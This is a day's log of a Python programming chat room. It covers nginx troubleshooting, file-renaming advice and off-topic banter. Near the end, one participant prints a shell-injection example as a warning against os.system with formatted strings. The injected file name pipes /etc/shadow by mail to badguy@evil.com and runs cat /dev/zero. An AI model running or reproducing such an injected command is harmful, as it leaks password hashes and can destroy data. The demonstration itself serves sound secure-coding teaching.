« first day (1614 days earlier)      last day (3348 days later) » 

6:00 PM
I'll go with "yes" for that one
 
this is pretty much a useless website. I will no longer use it — user3779542 4 mins ago
 
DSM
Probably best for all concerned. :-)
 
in django how to access PUT data? How tastypie does it when using ModelResource?
 
Can you have a < or > in an email address?
 
DSM
6:15 PM
@Fizzy: I think so.
 
One more for the broad setuptools / pip question
 
DSM
Does anyone around here use any of the major commercial quadratic optimization packages?
 
@Ffisegydd going for Copy Editor or something? ;-)
 
@JoranBeasley I guess I didn't
 
6:36 PM
0
Q: How to change the color of text printed by print statement in python

Swati RathiIs there a way by which we can change the color of the statements displayed by "print" in python. Can someone give me a simple example that can display hello world in yellow color.

WTF?
 
@Bonifacio2 already closed.
 
hrmph... anyone familiar with nginx? The logs don't seem to give any details about this: Error code: ERR_SSL_PROTOCOL_ERROR
 
'08? Careful with that dupe target, it's an antique! ba dum pshh
 
@MartijnPieters Lightspeed!
 
6:44 PM
cbg, Antti
 
cbg
import * is not the best practice when it comes to import modules. You want to avoid namespace issues @AnttiHaapala. Have you tried tried turning all your code into one module so that all you need is one import. — hrand 40 secs ago
where do these Captain Pedantics come from?
Today I was told to read PEP8, not to compare against True, and now they tell me that "from shortcuts import *" is a bad thing. Stackoverflow trusts me today, but n00bs don't
 
hahaah
 
Most of the time when I get a comment like that I mentally insert "You probably know this already, but I'll say it for the readers that don't" at the beginning
Of course you know you shouldn't import *, but your readers might not.
 
@Zero I'm a bit far away from Copy Editor :P 190/500. Edited in the Python tag mainly to make it easier to find.
 
Today I'm currently at +12 votes for a smartass non-answer over on Puzzles. They definitely have unusual standards over there.
 
That question is a whole mess of problems
 
stackoverflow.com/help/be-nice "Also, this is not a dating site."
How often is that a problem lol
 
I've seen a few people make propositions to other users.
I get the impression that they're from cultures where such forwardness is ordinary in day-to-day life. So it's not apparent to them that the rules are different for the Internet.
I remember in particular one user doing the a/s/l routine on a user named Maxime, not realizing that's a common male name in France XD
 
DSM
a/s/l?
 
Age/Sex/Location, the go-to pickup line in olden times
 
6:59 PM
so it'd end at S :D
or who knows about his/her preferences
 
I guess it was more like "A/I'm already assuming I know the right answer/L"
 
@Kevin then why do they state my name there:
"You should not do from x import *, @Antti, it is bad, berry bombad"
 
Oh yeah, I was going to say. The direct ping and "you should..." makes it hard to assume they're addressing the audience and not you.
So I guess, go ahead and be annoyed by them :-)
 
DSM
I don't like writing four-figure cheques for software, but none of the open source packages seem strong enough to do what I want. :-/
 
@DSM I don't like writing 4 figure cheques full stop to be honest :)
 
7:06 PM
what are checks/cheques ;)?
 
Chex is a breakfast cereal and beloved video game publisher
 
@Antti something from the dark ages
Think the last cheque I wrote was in 2003 :p
 
I have seen a cheque
like I guess, in 80s?
 
DSM
Ehh, how is it three o'clock already? Time for lunch.
 
psh, who eats anymore?
 
7:16 PM
My cells produce ATP through sheer grit and determination. Glucose is for the weak.
Hot chemistry tip: does your body need iron? Simply extract some free H atoms from the atmosphere and turn them sideways so they look like I atoms. Your dumb metabolism won't know the difference.
 
I joined the ranks of the undead. The have great dental too.
 
("That joke doesn't work because Iron is Fe, not I". Uh, do you think your metabolism knows latin?)
 
If functions like Gaussian, Logistic, Poisson, etc are in module.stats, what would you call the submodule that functions like Quadratic, Cubic, Sine?
 
@davidism, have you used nginx?
 
7:24 PM
I use it.
 
@corvid what do you think is used as the front-end for sopython? :p
(are you going to ask your SSL question again?)
 
do you know of a way to find which sites are configured? I put a site in sites-available/ and added it to the include sites-available/*.corvid of the nginx.conf. I go to the url but it doesn't seem to do anything.
 
@Kevin Hahaha that's hilarious
 
I don't really know how to debug nginx besides looking at the logs, both nginx's and the application's
 
@corvid okay you are symlinking - not copying - and doing a server reload/restart?
 
7:33 PM
@JonClements yeah do that every time it changes. The generic site at localhost:8080 in the nginx.conf works
 
but it doesn't seem to do anything isn't much to go on... look at the logs as @davidism says...
 
thar be the problem, the logs don't have any access or errors for my enabled site :\
 
also do an nginx -t it has a habit of when restarting, if the new config files aren't correct, just resuming on its way as before
no make sure the above command shows OK
 
Nginx config for sopython: sopython.com/docs/prod_install.html#nginx, although it doesn't have ssl
 
@davidism accurate apart from the cheeky /chatroom -> /pages/chatroom re-write in there :p
When's the next deploy planned btw?
 
7:40 PM
soonâ„¢
 
:D
 
Is there something major planned to warrant a version update, or can we get the changes to the chatroom page (with link to our cv-pls stuff) pushed through before then?
 
I'll try to get some work going if I'm not burnt out when I get home. Should at least be able to get the minor stuff released.
 
The proposal for an Open Source SE site just went into the commitment phase - it occurs to me that there might be people here interested in it.
 
@davidism no worries - no pressure :)
@Zero seems interesting... but not sure I know enough legal stuff....
 
7:46 PM
@Jon these are Q & A sites, you know ;-)
 
My twitter profile has "Database, software and web developer. Advocate of open-source projects." - And I'm certainly an advocate - one of my businesses was focused on getting SMEs to cut costs and achieve community support from using open source and using support from online communities responsibly...
(Note: for anyone not following me on twitter - you should do so. I tweet top notch rubbish)
 
Well there you go ... you have relevant expertise in e.g. planning a move to Open Source within an organisation :-)
My, what a dashing fellow you are :-)
 
Got it to work, but not entirely sure how... thanks y'all
 
cabbage all! it's been a while
 
cbg @inspectorG4dget :-)
 
7:51 PM
hey inspector, indeed it has
 
@Zero well, he appears better groomed than I - but I'd expect that from a PR person :p
 
@inspectorG4dget everything good?
 
@inspectorG4dget how goes it!? Great to see you
 
life's about as good as it can be right now, I guess. We're prepping to go to Chicago for a while
 
@inspectorG4dget fantastic news.... so pleased to hear
@Zero sadly, I'm this ugly mug: twitter.com/joncle
 
7:53 PM
Thank you. Yeah, we're taking Mom to The Rehabilitation Institute of Chicago (RIC) for a 4 week intensive Aphasia therapy program
in the meantime, I continue to run the tech around here
Found the lovely pafy/ytdl and using it with ffmpeg to get some batch conversions going
 
@inspectorG4dget I don't imagine the travel will be much fun - but she's otherwise all okay and improving?
 
very much so. We're traveling in two groups - Mom and Dad break at the layover, while I continue on to ready the Chicago apartment
 
I never quite "got" twitter. I've periodically started following a few people, then subsequently got bored and returned my account to a null state. Maybe worth another go ...
 
@Zero I think like most - I just use it to "rant" now and again
 
7:56 PM
@ZeroPiraeus I use twitter as a discovery tool - someone tweets about something cool that I didn't know about before; I look it up, and yay! I've learned something new
A lot depends on whom you follow, or to be more precise, what they tweet about
 
(although I'm trying to make it a mission to get retweeted by a celeb once a week - I had Danny John-Jules retweet me this week - the cat from Red Dwarf)
 
I like twitter for extremely short form comedy. @PHP_CEO, @SeinfeldToday, that kind of thing. I only browse it like twice a month though.
 
user559633
cats can't use the internet @JonClements! they don't have mailing addresses for the AOL floppies to get on the internet
 
I've got Ian McKellen, Patrick Stewart, Wi Wheaton, William Shatner, Rene Auberjonois, number10gov, various MPs and various members of the yogscast retweeting me recently... (okay, so mostly ST and politics/gaming but oh well... I'm on a roll darn it!)
 
DSM
Huh!
 
user559633
8:03 PM
hmm and all i get is letters from lawyers asking me to stop sending fingernails
 
user559633
What a world we life in, eh gents?
 
The patent for toilet paper should settle the over vs under debate http://t.co/arZl6l6ALn
 
user559633
i'm thinking of getting knuckle tattoos that say ([k][n][u][c]) ([k][l][e][s])
 
user559633
seems like quite a commitment to satire though
 
Under is better if you own a cat that likes to spin the toilet roll frantically
 
user559633
8:05 PM
get your cat a litter box, problem solved
 
@DSM then eventually... facebook.com/ChurchOfSpiderPig will take off big time to make it onto the next census :p
 
That which can be destroyed by a cat, will be.
 
DSM
Believe it or not, disagreement over under/over became a big argument at the office. One guy took it very, very seriously. We fired him. True story!
 
user559633
i wish there was a tattoo ink that lasted for only 6 months
 
user559633
I kind of need to know the story.
 
8:07 PM
@tristan I don't think there's an ink and needle thingy, but I believe there's a laser jobby that lasts only ~3ish months or something
 
user559633
did he molotov the office after spray painting "UNDER 4 LIFE" on the entrance?
 
user559633
Ugh i want to get a cat and name it 'grep' now
 
DSM
There may have been a few words I left out between "seriously" and "we fired him", but only a few weeks, if memory serves..
 
Biologists, please splice chromatophore cells into humans so I can change my color like a cuttlefish, TIA
 
It's clearly over. There's no discussion.
 
user559633
8:08 PM
@Ffisegydd under because it leads to less utilization
 
user559633
Save the planet, one poorly-cleansed booty at a time.
 
@tristan it's definitely over - what kind of freak are you? :p
 
user559633
An environmentalist that cares about the earth more than butt tissue, puppy man, a true hero
 
user559633
(but seriously, i will file for divorce if my future wife prefers under, because i'd be wondering what other psychosis she's hiding)
 
@tristan you're getting on a plane to Berlin... there goes all your supposed good will to saving the planet re: toilet paper right there for your life time...
 
user559633
8:11 PM
like, one night will we be eating pasta and she'll scream "HA HA IT'S CATERPILLAR BLOOD SAUCE"
 
But that plane would be going to Berlin even if Tristan didn't go on it, so his marginal contribution is zero in that case
 
user559633
@JonClements I don't fly anywhere. I get on a raft made of recycled tyre and drift where ladybug sneezes take me
 
I drive a go-kart powered by my own sense of self-satisfaction.
 
DSM
That's how I justify most of my actions. "It's not like he was immortal, so we didn't really change much."
 
user559633
which is why my last 5 vacation have been staten island, staten island, newport nj, staten island, a tall post
 
8:12 PM
a tall post - wow, no expenses spared there then? :p
 
@DSM Ok, so just don't kill anybody that might go on to invent immortality, then.
 
user559633
@JonClements the ladybugs weren't very sneezy that day!
 
DSM
I was about to ask how a 12k user could ask such an awful question, but that 10k came from 392 questions and one answer.
 
How the hell can someone posting a youtube video call it HD when it's 240p!?
 
user559633
HD is a state of mind
 
@tristan is that what the ladybugs whisper in your ear?
 
user559633
ladybugs don't whisper. only sneeze. always sneeze.
 
Blergh found issues with part of my module D:
 
user559633
decided to get toe tattoos that say LEFFT / RIGHT instead
 
DSM
@Ffisegydd: ?
 
8:20 PM
woop. My application actually works. I'm really pretty surprised now...
 
I just had some really, really awful logic for my random math generating package. You can tell I wrote it while drunk at Christmas while not really concentrating.
 
If we have a nice target for integer division in 2.7
Is anyone else bothered that Kasra gave the OP code but didn't explain what it's doing?
 
DSM
Always astonishes me people don't try reducing the problem. It would take less than a minute to isolate the problem as 1/20.
@Kevin: he sometimes works like Martijn in that he guns an answer and then slowly improves it.
 
Ugh, OP apparently doesn't give a damn about the why. All right, abandoning post.
 
Martijn improves his answers slowly?!
 
DSM
8:28 PM
@vaultah: okay, maybe "gradually" or "incrementally" would have been a better choice there. :-)
 
:p
 
8:42 PM
@AnttiHaapala i resolved my problem i think
it was very painful
 
Astrophysics is weird.
"We don't know why this happens, let's call it Dark Energy"
 
DSM
Hey now.
 
I didn't say it was wrong, just weird :P
I prefer my science more down to Earth. I make my samples in my lab, go to a neutron source, measure the structure, and have it sorted.
 
I want to sing "letters burning by my bed for you" each time I see "hey now"
I guess I've overlistened that album...
 
9:05 PM
@Ffisegydd @DSM Are you guys in science? (Weird way to word it, I know)
 
When I see "hey now", I hear Hank Kingsley.
 
alright, time to hit the hay. Rhubarb all!
 
ciao
 
@inspectorG4dget take care! rbrb for now
Wow Viewed 1122 Times - I should post on SF&F more often... appears I can get more attention than on SO :)
 
@Martin I am currently in science and DSM used to be
 
9:13 PM
Really cool. What do you do?
 
DSM
@inspectorG4dget: belated rhubarb!
 
@Ffisegydd I thought you were in Bath? :p
 
It's jokes like that Jonathan that ensure that come the revolution you'll be put against a wall and shot.
 
sorry Mum - don't ground me please :(
@Ffisegydd jiffy bagged up your goodies... Dave's coming around Friday night for dinner, so I'll give it to him then, and he can go to the post office on Saturday when he's working and get it sent out mate.
 
DSM
Time to begin planning my escape. Rhubarb for all!
 
9:24 PM
@DSM doesn't that mean just walking out of the office? What other planning is involved :p
 
Off to bed, rbrb guys
 
rbrb @vaultah
 
weird science
almost as good as real genius
 
cbg @Joran
 
Was trying to google this, but didn't get anything, and I didn't to start up a question, because that would be opinion based, and so on...
So, I was wondering what's the best practice, storing intermediate results in variables, or nesting functions and methods.

First scenario of renaming a file
filename="test.txt"
name=os.path.splitext(filename)[0]
os.rename(filename,name+"csv")

Second scenario of renaming a file:
filename="test.txt"
os.rename(filename,os.path.splitext(filename[0]+"csv")
 
9:38 PM
feels weird not getting up (or otherwise staying up all day) to do some work tonight... really not quite sure what to do with myself
 
user559633
@JonClements put some salad cream on a curry and then take a nap
 
@ArditS. depends if you wish to re-use name...
 
os.system("cat test.txt > test.csv")
(jk dont do that
 
user559633
@ArditS. with something silly easy to regenerate, i wouldn't worry about it
 
user559633
it comes down to what the puppy said about re-use
 
9:45 PM
@tristan a blue steak, with jacket potatoes, fried tomato, onions and mushrooms, and maybe a little bit of peppercorn & chilli sauce would be great right now
 
user559633
@JonClements good man
 
user559633
eating your steak as it was meant to be eaten
 
user559633
not burning it to gray mass of carbon like some people COUGHCOUGH@FfisegyddCOUGH
 
So, the downside of the first scenario might occupy more memory because it has one more variable, but it is more readable. So, the question is, does readability justify memory?
 
user559633
lol the memory of a string
 
user559633
9:47 PM
@ArditS. stop doing absurd amounts of pre-optimization
 
user559633
>>> from sys import getsizeof
>>> getsizeof('fdsajlfdsjflksdajflksdajflkdsalkjfjdslkafjlksdajlkfdsajlkfjdsakkljfsdakjflads.csv')
118
 
user559633
such savings
 
@ArditS. if you had a massive data structure you didn't want to re-use, then having it fall out of scope asap and GC'd could well be desirable... for a string? I wouldn't worry about it.
 
user559633
you'd get more savings out of never using vowels and switching to camelcase
 
user559633
both of these things i totally and un-ironically suggest
 
9:48 PM
@tristan I can't write millions of strings here.
 
user559633
@ArditS. are you programming on a computer that you have gone back in time and started to hack on?
 
user559633
because i god damn promise you that having an extra dozen vars around is fine
 
@tristan, I didn't say "memory of a string", I said "memory".
 
@ArditS. the best option is of course proper program structure... only keep something around as long as you need it... if you wrapped the above (your first example) in a function with a meaningful name, then you benefit from good design, readability, and when the function call is over, GC when the name goes out of scope
 
user559633
if you were coding on something in which 2kb of mem was a dealbreaker, you wouldn't be writing this in python
 
user559633
9:51 PM
this is not to offend you, i'm trying to suggest that you use python for its strengths and not try to buff out its weaknesses during use
 
(or flag, whatever)
I'd roll the autovandalising edit back, but the original answer isn't really worth it.
 
import os

def change_extension(filename, extension='.csv'):
    name, ext = os.path.splitext(filename)
    try:
        os.rename(filename, name + extension)
    except IOError as e:
        # If you can do something here, or retry, do so...
        raise # propogate the exception and let something else deal with it
@Zero delv cast
 
I still say you just do `os.system("cat %s > %s"%(old_name, new_name))
 
@Joran cos nothing could go wrong with escaping/other issues, right? :p
 
no way ... thats all just fluff anyway
 
10:01 PM
@Joran and to think I've been doing it wrong for so many years! :p
 
it will be even better if you store the command in a text file and just exec it
 
@JoranBeasley, my plan is to integrate the renaming in a Python loop.
 
yes ... thats python
really I dont understand why
in bash couldnt you just ... cp *.txt *.csv ?
and do it all in one shot?
why does it matter if they have a csv extension
?
 
@JoranBeasley, is your `os.system("cat %s > %s"%(old_name, new_name)) be cross-platform?
 
@Ardit don't use that. It's wildly insecure.
 
10:14 PM
@ZeroPiraeus, which one? The `os.system("cat %s > %s"%(old_name, new_name)) ?
 
Yes.
>>> old_name = "/etc/shadow | mail -s 'Passwords for you' badguy@evil.com ; cat /dev/zero"
>>> new_name = "/var/log/syslog"
>>> "cat %s > %s"%(old_name, new_name)
"cat /etc/shadow | mail -s 'Passwords for you' badguy@evil.com ; cat /dev/zero > /var/log/syslog"
In case it isn't obvious: this is an example of why not to do it. DON'T run os.system on the string above ... unless you're root it shouldn't do anything nasty, but don't do it, nevertheless.
 
@Zero oh dear... hope badguy@evil.com doesn't exist... might have just sent all the sopython logins to them :p
 
:-O What have I done?
 
@Zero THE END IS NIGH - THE SKY IS FALLING - HIDE HIDE HIDE!
 
11:00 PM
Thanks guys sometimes i forget sarcasm can be deadly in this room
perhaps literaly
 
11:57 PM
@ZeroPiraeus I delv'd as well, and also protected the question to prevent that sort of thing.
 

« first day (1614 days earlier)      last day (3348 days later) »